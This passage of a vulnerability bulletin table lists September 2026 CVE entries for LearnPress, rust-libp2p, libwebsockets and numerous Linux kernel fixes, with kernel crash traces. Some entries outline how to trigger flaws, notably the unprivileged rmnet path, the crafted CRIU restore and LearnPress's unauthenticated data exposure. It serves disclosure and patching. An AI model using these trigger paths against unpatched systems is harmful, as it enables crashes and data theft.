&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86446&quot; target=&quot;_blank&quot;&gt;CVE-2026-86446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not check the user&#039;s capabilities in one of its administrative course tools, allowing unauthenticated attackers to list every enrolled student&#039;s display name and user identifier against the course they are enrolled on, and to recover their email addresses through the same handler&#039;s search filter.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86447&quot; target=&quot;_blank&quot;&gt;CVE-2026-86447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not perform any authentication, capability or nonce check before serving a previously generated order export file, allowing unauthenticated attackers who can determine its identifier to download customer names, purchases, amounts and guest email addresses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86448&quot; target=&quot;_blank&quot;&gt;CVE-2026-86448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LearnPress--LearnPress&lt;/td&gt;
&lt;td&gt;The LearnPress WordPress plugin before 4.4.7 does not check the user&#039;s capabilities before applying a user supplied post status filter in one of its REST routes, allowing unauthenticated attackers to list courses that are not published, including draft, pending, private, scheduled and trashed ones.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86449&quot; target=&quot;_blank&quot;&gt;CVE-2026-86449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libp2p--rust-libp2p&lt;/td&gt;
&lt;td&gt;libp2p-rust is the official Rust language implementation of the libp2p networking stack. Prior to 0.13.1, libp2p-quic could panic during an inbound QUIC handshake when a remote peer presented a valid short-lived libp2p TLS certificate and delayed the final TLS 1.3 handshake fragment until after the certificate expired. In the Quinn post-handshake upgrade path, transports/quic/src/connection/connecting.rs called libp2p_tls::certificate::parse a second time in remote_peer_id and used expect on the result. The repeated wall-clock validity check could reject the now-expired certificate, causing the expect call to terminate any application exposing an affected libp2p-quic listener. This vulnerability is fixed in 0.13.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61544&quot; target=&quot;_blank&quot;&gt;CVE-2026-61544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libwebsockets--libwebsockets&lt;/td&gt;
&lt;td&gt;libwebsockets HTTP/2 HPACK Path Header Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of libwebsockets. Authentication is not required to exploit this vulnerability. The specific flaw exists within the parsing of HTTP/2 HPACK path header. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-31036.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19773&quot; target=&quot;_blank&quot;&gt;CVE-2026-19773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: vnifilter: enforce exact length of GROUP/GROUP6 attributes The VXLAN VNI filter entry policy declares the GROUP/GROUP6 address attributes as NLA_BINARY with only a maximum length, so validate_nla() accepts a payload shorter than the address. The GROUP consumer reads it with nla_get_in_addr(), an unconditional 4-byte load, so a short attribute over-reads up to 3 bytes of uninitialised slab data, which are stored into remote_ip and echoed back via RTM_GETTUNNEL, disclosing kernel memory. Switch both entries to NLA_POLICY_EXACT_LEN() so the validator rejects any GROUP/GROUP6 that is not exactly 4 / 16 bytes; a valid address is always sent at full width.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89776&quot; target=&quot;_blank&quot;&gt;CVE-2026-89776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: qualcomm: rmnet: restore skb-&amp;gt;dev on deaggregated frames rmnet_map_deaggregate() allocates each sub-frame with alloc_skb() and leaves skb-&amp;gt;dev NULL. __rmnet_map_ingress_handler() assigns skb-&amp;gt;dev = ep-&amp;gt;egress_dev only on the data path, but a MAP command frame is dispatched to rmnet_map_command() before that, so rmnet_map_send_ack() runs netif_tx_lock(skb-&amp;gt;dev) on a NULL device. An unprivileged user reaches this by unsharing a user+net namespace, creating an rmnet link over a tap device with INGRESS_DEAGGREGATION and INGRESS_MAP_COMMANDS, and writing an aggregated frame carrying a flow-control command to the tap fd. Restore the assignment dropped by 378e25357ac7, so every skb leaving rmnet_map_deaggregate() has a valid device. BUG: KASAN: null-ptr-deref in _raw_spin_lock (kernel/locking/spinlock.c:158) Write of size 4 at addr 00000000000004b4 by task exploit/144 Call Trace: _raw_spin_lock (kernel/locking/spinlock.c:158) netif_tx_lock (net/sched/sch_generic.c:497) rmnet_map_command (drivers/net/ethernet/qualcomm/rmnet/rmnet_map_command.c:67) rmnet_rx_handler (drivers/net/ethernet/qualcomm/rmnet/rmnet_handlers.c:125) __netif_receive_skb_core.constprop.0 (net/core/dev.c:6103) ... __netif_receive_skb_one_core (net/core/dev.c:6214) netif_receive_skb (net/core/dev.c:6474) tun_get_user (drivers/net/tun.c:1966) tun_chr_write_iter (drivers/net/tun.c:2012) vfs_write (fs/read_write.c:687) ksys_write (fs/read_write.c:739) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Kernel panic - not syncing: Fatal exception in interrupt&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89780&quot; target=&quot;_blank&quot;&gt;CVE-2026-89780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: check rpc_sockaddr2uaddr() return value in rpcb_register_inet4/6 rpcb_register_inet4() and rpcb_register_inet6() store the result of rpc_sockaddr2uaddr() into map-&amp;gt;r_addr without checking it for NULL. rpc_sockaddr2uaddr() returns NULL when its final kstrdup() fails, and the unchecked NULL is then carried into the synchronous RPCBPROC_SET encode path: rpcb_register_call() -&amp;gt; rpc_call_sync() -&amp;gt; rpcb_enc_getaddr() -&amp;gt; encode_rpcb_string(), whose first statement is strlen(string), dereferencing NULL and oopsing the kernel. The crash reproduces under failslab on v6.12; with KASAN the NULL dereference surfaces as a fault on the shadow of address zero: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000 [#1] PREEMPT SMP KASAN RIP: 0010:strlen (lib/string.c:409) Call Trace: encode_rpcb_string (net/sunrpc/rpcb_clnt.c:890) rpcb_enc_getaddr (net/sunrpc/rpcb_clnt.c:910) rpcauth_wrap_req_encode (net/sunrpc/auth.c:745) call_encode (net/sunrpc/clnt.c:1966) __rpc_execute (net/sunrpc/sched.c:952) rpc_run_task (net/sunrpc/clnt.c:1243) rpc_call_sync (net/sunrpc/clnt.c:1272) rpcb_v4_register (net/sunrpc/rpcb_clnt.c:500) svc_generic_rpcbind_set nfsd_rpcbind_set svc_register svc_setup_socket svc_addsock write_ports nfsctl_transaction_write vfs_write The crash is reachable when an in-kernel RPC service (nfsd, lockd, nfs-callback) registers with the local rpcbind under enough memory pressure for the small GFP_KERNEL kstrdup() in rpc_sockaddr2uaddr() to fail. The asynchronous getport path already handles this exact failure mode by returning -ENOMEM; only the two register helpers omit the check. Mirror that handling: bail out with -ENOMEM when rpc_sockaddr2uaddr() returns NULL, before the address is fed into the encoder.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89784&quot; target=&quot;_blank&quot;&gt;CVE-2026-89784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix out-of-bounds read of INDEX_ROOT in reparse/objid init ntfs_reparse_init() and ntfs_objid_init() parse the index root of the $Extend/$Reparse and $Extend/$ObjId metafiles (the INDEX_ROOT attributes named $R and $O). They read its type and rule fields through resident_data(), which does not check that the resident attribute is large enough to hold them. mi_enum_attr() accepts a resident attribute with data_off == asize and data_size == 0. For such an attribute placed last in its MFT record, resident_data() returns a pointer to the end of the record_size buffer, so reading root-&amp;gt;type / root-&amp;gt;rule reads past the allocation. Use resident_data_ex(attr, sizeof(struct INDEX_ROOT)) and bail out when it returns NULL, as ntfs_security_init() already does for $SDH / $SII. The attribute is only parsed while mounting a crafted image, so this needs CAP_SYS_ADMIN. BUG: KASAN: slab-out-of-bounds in ntfs_reparse_init (fs/ntfs3/fsntfs.c:2306) Read of size 4 at addr ffff88801219dc00 by task mount ntfs_reparse_init (fs/ntfs3/fsntfs.c:2306) ntfs_fill_super (fs/ntfs3/super.c:1604) get_tree_bdev_flags (fs/super.c:1703) vfs_get_tree (fs/super.c:1758) path_mount (fs/namespace.c:4131) __x64_sys_mount (fs/namespace.c:4360)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89785&quot; target=&quot;_blank&quot;&gt;CVE-2026-89785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: check dir entry fits before reading the hash trailer in ext4_search_dir() For casefolded encrypted directories ext4 stores an 8-byte hash trailer after the name (EXT4_DIRENT_HASHES()), at an offset derived from de-&amp;gt;name_len. On the sb_no_casefold_compat_fallback() path ext4_match() reads that trailer, but ext4_search_dir()&#039;s by-hand pre-check only tests de-&amp;gt;name + de-&amp;gt;name_len &amp;lt;= dlimit, which proves the name fits, not the rounded trailer. A crafted entry whose name ends at the block boundary passes the check while EXT4_DIRENT_HASHES(de) lands past the block end, so ext4_match() reads out of bounds on an ordinary lookup. KASAN reports it as a use-after-free when the page after the directory block holds a freed object: BUG: KASAN: use-after-free in ext4_match (fs/ext4/namei.c:1435) Read of size 4 at addr ffff888010458000 by task exploit Call Trace: ext4_match (fs/ext4/namei.c:1435) ext4_search_dir (fs/ext4/namei.c:1470) __ext4_find_entry (fs/ext4/namei.c:1268 fs/ext4/namei.c:1632) ext4_lookup (fs/ext4/namei.c:1703 fs/ext4/namei.c:1769) ... filename_lookup (fs/namei.c:2842) vfs_statx (fs/stat.c:353) __do_sys_newfstatat (fs/stat.c:538) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Require, for hash-in-dirent directories, that the whole entry including the rounded trailer fits before calling ext4_match(). This is the same bound ext4_check_dir_entry() already enforces via ext4_dir_rec_len(), so no well-formed entry is rejected. The other caller, ext4_find_dest_de(), runs ext4_check_dir_entry() first and is unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89787&quot; target=&quot;_blank&quot;&gt;CVE-2026-89787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: avoid divide by zero in rt6_multipath_rebalance rt6_multipath_rebalance() calculates the total eligible nexthop weight in one pass and programs upper bounds in a second pass. Since RTM_NEWROUTE is RTNL-free, a concurrent ignore_routes_with_linkdown update can make the first pass return zero while the second sees an eligible nexthop, causing rt6_upper_bound_set() to divide by zero. UBSAN: division-overflow in net/ipv6/route.c:4845:17 Oops: divide error: 0000 [#1] SMP KASAN NOPTI rt6_upper_bound_set() net/ipv6/route.c:4845 rt6_multipath_rebalance() fib6_add_rt2node() ip6_route_multipath_add() inet6_rtm_newroute() Skip upper-bound calculation when the first pass reports a zero total. This respects the lock-free performance considerations here and solves insecure scenarios.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89790&quot; target=&quot;_blank&quot;&gt;CVE-2026-89790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: zero pipe read compound padding Compound response handling extends the last response iov to an eight-byte boundary. smb2_read_pipe() allocates only the payload size, so the alignment padding can expose up to seven bytes of uninitialized kernel heap memory. Allocate the aligned size and clear the unused tail before pinning the response buffer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89794&quot; target=&quot;_blank&quot;&gt;CVE-2026-89794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: avoid infinite kdamond_merge_regions() internal loop Patch series &quot;mm/damon: unurgent fixes for infinite loop, NULL de-ref and races&quot;, v1.1. Sashiko found a few issues in DAMON that could cause infinite loop, NULL dereference and monitoring results degradation. The first two sounds scary but the infinite loop happens only under unreasonable user setup. The NULL dereference is only in a unit test. Monitoring results degradation is trivial since it is only best-effort, and those happens from only unlikely races. Still those are bugs that better to fix if possible. Fix those. This patch (of 6): Due to online parameter update like events, the number of DAMON regions could be higher than the user-set upper limit. kdamond_merge_regions() repeats merge regions until the number meets the limit, while doubling the merge threshold up to the theoretical maximum threshold. It is tried only up to the theoretical maximum threshold because even the aggressive merging can fail from reducing the number of regions under the user-defined upper limit. For example, there could be many user-defined non-contiguous regions that cannot be merged. The threshold based loop break condition is evaluated by comparing the threshold for the next merging try against the theoretical maximum threshold. If max_thres is larger than UINT_MAX / 2, doubling the threshold could make it overflow, and bypass the loop break condition. In the case, if the number of regions cannot be reduced under the upper limit like explained above, the loop will run infinitely. Prevent the case by doing the break condition check before doubling the threshold. Also, prevent the threshold exceeding the maximum threshold, as it could overflow and apply the wrong merge threshold. This issue is unlikely to occur in real world, since having the max_thres higher than UINT_MAX / 2 require unrealistically large aggregation intervals compared to the sampling interval. Also, it requires an unrealistically large number of uncontiguous regions setup. Nonetheless, the consequence is bad and the fix is simple. The issue was discovered [1] by Sashiko.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89796&quot; target=&quot;_blank&quot;&gt;CVE-2026-89796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: ab8500_fg: fix use-after-free on remove ab8500_fg_remove() destroys the driver workqueue while the threaded interrupt handlers are still armed; they are devm-managed and freed only after -&amp;gt;remove() returns, so a handler that fires in that window queues work on the freed workqueue. Tear the workqueue down through devm instead, registering its cleanup after the power supply and before the interrupt requests. devm then frees the interrupts first, so the handlers can no longer queue work, before disabling the delayed and plain work items and destroying the workqueue. Disabling the items, rather than cancelling them, keeps them disabled so no producer (including the power-supply external_power_changed callback) can requeue them. Found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89797&quot; target=&quot;_blank&quot;&gt;CVE-2026-89797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rpcrdma: arm rn_done before publishing the notification rpcrdma_rn_register() inserts @rn into rd_xa with xa_alloc() before storing the caller&#039;s callback in rn-&amp;gt;rn_done. The xarray makes @rn reachable to rpcrdma_remove_one(), which walks rd_xa and invokes rn-&amp;gt;rn_done(rn) for every registered notification. A device removal that races a fresh registration can therefore observe @rn with rn_done still NULL, because the notification objects are zero allocated by their owners, and call through a NULL function pointer. Store rn-&amp;gt;rn_done before xa_alloc() publishes @rn. The xarray&#039;s store-side and load-side ordering then guarantees that any CPU which finds @rn in rd_xa also observes the armed callback. rpcrdma_rn_unregister() treats a non-NULL rn_done as the sentinel for a completed registration, so the early store must not survive a failed registration. Clear rn_done again when xa_alloc() fails. Were it left set, the failed-accept cleanup path would call rpcrdma_rn_unregister() on an @rn that was never inserted, erasing an unrelated rd_xa slot and underflowing rd_kref.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89798&quot; target=&quot;_blank&quot;&gt;CVE-2026-89798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: clear the dirty flag when unwinding an OP_UNMAP_SPARSE A successful OP_UNMAP_SPARSE marks its region dirty with nouveau_uvma_region_dirty() and defers the teardown to nouveau_uvmm_bind_job_cleanup(); it does not remove the region from uvmm-&amp;gt;region_mt. If a later op in the job fails, the unwind path never clears reg-&amp;gt;dirty (set in one place, cleared nowhere) and sets op-&amp;gt;reg = NULL, so cleanup skips the teardown. The region is left in the tree with dirty set and its completion never signalled. Later binds over that range then fail permanently -- -ENOENT or -EINVAL from the dirty checks, or an unkillable wait_for_completion() in bind_validate_region() -- for the lifetime of the uvmm. Clear reg-&amp;gt;dirty when the unwind reverts the sparse unmap, restoring the region to the state it was found in.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89800&quot; target=&quot;_blank&quot;&gt;CVE-2026-89800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: fix NULL deref unwinding an OP_MAP_SPARSE op Each bind_job_op is zeroed by kzalloc_obj() in bind_job_op_from_uop(), and the OP_MAP_SPARSE case in nouveau_uvmm_bind_job_submit() only creates a region, so op-&amp;gt;ops stays NULL for a successfully processed sparse map. If a later op in the same job fails, the reverse unwind loop revisits that op and calls drm_gpuva_ops_free(&amp;amp;uvmm-&amp;gt;base, op-&amp;gt;ops) unconditionally. drm_gpuva_ops_free() dereferences its argument right away (list_for_each_entry_safe on &amp;amp;ops-&amp;gt;list), so a NULL op-&amp;gt;ops oopses. The path is reachable by any render-node fd holder, since NOUVEAU_VM_BIND is DRM_RENDER_ALLOW. Guard the free with IS_ERR_OR_NULL(), as nouveau_uvmm_bind_job_cleanup() already does for the identical free.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89802&quot; target=&quot;_blank&quot;&gt;CVE-2026-89802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: guard against NULL restore_mqd in CRIU queue restore Both create_queue_cpsch() and create_queue_nocpsch() unconditionally call mqd_mgr-&amp;gt;restore_mqd() when a CRIU restore is in progress (qd != NULL), with no NULL guard. On any system where restore_mqd is not implemented for the given queue type, a user holding CAP_CHECKPOINT_RESTORE can trigger a kernel NULL pointer dereference and panic the machine by issuing KFD_IOC_CRIU_OP_RESTORE with a crafted queue restore object. Note that checkpoint_mqd is likewise unimplemented on GFX12, so no legitimate CRIU image can reach this path - only a hand-crafted restore payload. Add a NULL guard for restore_mqd immediately after mqd_mgr is resolved, unwinding via the existing error labels and returning -EOPNOTSUPP if the callback is not implemented. This mirrors the existing checkpoint_mqd guard in checkpoint_mqd().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89807&quot; target=&quot;_blank&quot;&gt;CVE-2026-89807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix scope of mqd_mgr dereference in pqm_debugfs_mqds Reading /sys/kernel/debug/kfd/mqds while a process holds an active KFD queue triggers a NULL pointer dereference because the for loop that calls mqd_mgr-&amp;gt;debugfs_show_mqd() is incorrectly placed outside the if (pqn-&amp;gt;q) block that initializes mqd_mgr. The queue list can contain entries where pqn-&amp;gt;q is NULL (kernel queues where only pqn-&amp;gt;kq is valid). In the original code: if (pqn-&amp;gt;q) { ... mqd_mgr = q-&amp;gt;device-&amp;gt;dqm-&amp;gt;mqd_mgrs[mqd_type]; size = mqd_mgr-&amp;gt;mqd_stride(...); } for (xcc = 0; xcc &amp;lt; num_xccs; xcc++) { // WRONG: outside if block mqd = q-&amp;gt;mqd + size * xcc; r = mqd_mgr-&amp;gt;debugfs_show_mqd(m, mqd); } When iterating over a queue node where pqn-&amp;gt;q is NULL: 1. The if (pqn-&amp;gt;q) block is skipped 2. mqd_mgr remains uninitialized (NULL from declaration) 3. The for loop executes anyway 4. mqd_mgr-&amp;gt;debugfs_show_mqd(m, mqd) dereferences NULL The crash manifests as: BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor instruction fetch in kernel mode RIP: 0010:0x0 Call Trace: pqm_debugfs_mqds+0x10c/0x1d0 [amdgpu] kfd_debugfs_mqds_by_process+0x9b/0x110 [amdgpu] seq_read_iter+0x132/0x4b0 ... Fix by moving the for loop inside the if (pqn-&amp;gt;q) block, so mqd_mgr and related variables are only used when properly initialized. (cherry picked from commit 8bfe29d5c798940f797aa24135d2734c3ffce9de)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89809&quot; target=&quot;_blank&quot;&gt;CVE-2026-89809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: force complete the MES ring fences on reset The MES scheduler ring has no drm scheduler (no_scheduler = true), so it is skipped by the force-completion loop in amdgpu_device_pre_asic_reset(). It uses a polling fence whose hw value lives in wb (GTT) memory and survives a MODE1 reset, while fence_drv.sync_seq keeps advancing for every packet. When the reset is triggered because MES itself stopped responding, the timed-out packets advance sync_seq past the last hw fence value MES wrote. After resume the first MES submission polls forever on a seq that is never written back, failing the resume and wedging the box on a second reset: amdgpu: MES ring buffer is full. amdgpu: *ERROR* ring gfx_0.0.0 test failed (-110) amdgpu: resume of IP block &amp;lt;gfx_v11_0&amp;gt; failed -110 amdgpu: GPU reset end with ret = -110 Force complete the MES scheduler ring fences together with the scheduler rings so their hw fence is realigned to sync_seq. v2: cover all XCCs (one scheduler ring each), not just mes.ring[0].&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89812&quot; target=&quot;_blank&quot;&gt;CVE-2026-89812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: force complete the KIQ ring fences on reset Like the MES scheduler ring, the KIQ ring sets no_scheduler = true and uses a polling fence, so it is skipped by the force-completion loop in amdgpu_device_pre_asic_reset(). Its hw fence value lives in wb (GTT) memory and survives a MODE1 reset while fence_drv.sync_seq keeps advancing, so after a reset the first KIQ submission can poll forever on a seq that is never written back. Force complete the KIQ ring fences too so their hw fence is realigned to sync_seq.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89813&quot; target=&quot;_blank&quot;&gt;CVE-2026-89813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm: Fix drm_crtc_commit leak if signaled when PAGE_FLIP_EVENT is used Commit 1c6ceeee6ebb (&quot;drm/atomic: Fix memleak on ERESTARTSYS during non-blocking commits&quot;) fixed a very similar issue when the event was allocated by drm_atomic_helper_setup_commit() itself. However, if the event is allocated in prepare_signaling(), it will also be set to NULL in complete_signaling(), which prevents drm_crtc_commit from being put in __drm_atomic_helper_crtc_destroy_state(). Dropping the reference when the event is set to NULL at complete_signaling() fixes the leak. The leak can be reproduced by sending a signal to the thread using DRM_MODE_PAGE_FLIP_EVENT and using a sw_sync fence to cause the atomic ioctl to block at drm_atomic_helper_wait_for_fences(). It happened both with amdgpu and vkms.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89816&quot; target=&quot;_blank&quot;&gt;CVE-2026-89816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/gud: NUL-terminate TV mode names read from the device gud_connector_add_tv_mode() reads a buffer of fixed-size mode names from the USB device and passes pointers into it to drm_mode_create_tv_properties_legacy(), which calls strlen() on each one. Nothing guarantees the device NUL-terminates a name, so strlen() can run past the end of a slot and, for the last mode, past the end of the allocation. Terminate each name at the end of its slot before use.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89817&quot; target=&quot;_blank&quot;&gt;CVE-2026-89817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
